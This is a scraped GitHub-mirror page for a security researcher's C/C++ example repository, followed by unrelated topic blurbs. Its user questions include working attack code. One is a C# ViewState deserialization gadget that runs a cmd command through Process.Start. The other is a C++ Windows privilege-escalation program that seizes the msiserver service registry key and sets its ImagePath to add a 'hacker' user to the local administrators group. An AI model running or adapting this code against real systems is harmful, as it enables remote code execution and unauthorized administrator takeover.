3gstudent / homework-of-c-language Goto Github PK
View Code? Open in Web Editor NEWC/C++ code examples of my blog.
License: BSD 3-Clause "New" or "Revised" License
C/C++ code examples of my blog.
License: BSD 3-Clause "New" or "Revised" License
How are you compiling these examples? I have tried cross compiling with g++ on linux and using MSVC 2019 (unicode and mbtochar) but keep getting errors flagging up, the kind of erros that suggest I am using the wrong compiler than anything wrong with the code. Any help would be appreciated!
WinRM有没有把rdp映射到80的方法?只是执行命令,那端口复用的意义还是不太好。也没有找到好一点的端口复用的工具。。
我用以下代码ViewState可以反序列化执行命令。如果想写成回显的话,如ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./dll/System.dll;./dll/System.Web.dll"这样,应该如何在Button2_Click类里面实现?谢谢师傅
protected void Button2_Click(object sender, EventArgs e) {
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add("cmd");
set.Add("/c " + "echo 111>c:\\windows\\temp\\test.txt");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// Modify the invocation list to add Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
ViewState["test"] = set;
}
具体编译的命令是什么
SeTakeOwnershipPrivilege的利用能写出来看下吗,我利用了restore代码在自己搭建的靶机中利用,总是报错拒绝访问。
// takeOwnerShip2.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <Windows.h>
#include <winternl.h>
#include <Windows.h>
#include <sddl.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <string>
#include <tchar.h>
#include <AclAPI.h>
#include<iostream>
PVOID
GetInfoFromToken(HANDLE current_token, TOKEN_INFORMATION_CLASS tic)
{
DWORD n;
PVOID data;
if (!GetTokenInformation(current_token, tic, 0, 0, &n) && GetLastError() != ERROR_INSUFFICIENT_BUFFER)
return 0;
data = (PVOID)malloc(n);
if (GetTokenInformation(current_token, tic, data, n, &n))
return data;
else
free(data);
return 0;
}
int main()
{
wchar_t infile[] = L"MACHINE\\SYSTEM\\CurrentControlSet\\Services\\msiserver";
HANDLE current_token;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ¤t_token);
PTOKEN_USER user = (PTOKEN_USER)GetInfoFromToken(current_token, TokenUser);
PSID UserSid = (LPTSTR)user->User.Sid;
DWORD dwRes = SetNamedSecurityInfoW(infile, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, UserSid, NULL, NULL, NULL);
PSID pSIDEveryone = NULL;
PACL pACL;
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pSIDEveryone);
EXPLICIT_ACCESS ea[1];
ea[0].grfAccessPermissions = KEY_ALL_ACCESS;
ea[0].grfAccessMode = SET_ACCESS;
ea[0].grfInheritance = NO_INHERITANCE;
ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea[0].Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
ea[0].Trustee.ptstrName = (LPTSTR)pSIDEveryone;
SetEntriesInAcl(1, ea, NULL, &pACL);
//wchar_t infile[] = L"SYSTEM\\CurrentControlSet\\Services\\msiserver";
dwRes = SetNamedSecurityInfoW(infile, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL);
if (dwRes != ERROR_SUCCESS)
printf("[-] Failed to set owner: %d\n", dwRes);
else
printf("[!] Success!\n");
HKEY hKey;
LONG lResult;
lResult = RegCreateKeyExA(
HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\msiserver",
0,
NULL,
REG_OPTION_BACKUP_RESTORE,
KEY_SET_VALUE,
NULL,
&hKey,
NULL);
std::cout << "RegCreateKeyExA result: " << lResult << std::endl;
if (lResult != 0) {
exit(0);
}
//HKEY hk = HKEY("SYSTEM\\CurrentControlSet\\Services\\msiserver");
std::string buffer = "cmd.exe /c net localgroup administrators hacker /add";
LONG stat = RegSetValueExA(hKey, "ImagePath", 0,
REG_EXPAND_SZ,
(const BYTE*)buffer.c_str(),
buffer.length() + 1);
std::cout << "RegSetValueExA result: " << stat << std::endl;
if (stat != 0) {
exit(0);
}
}
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.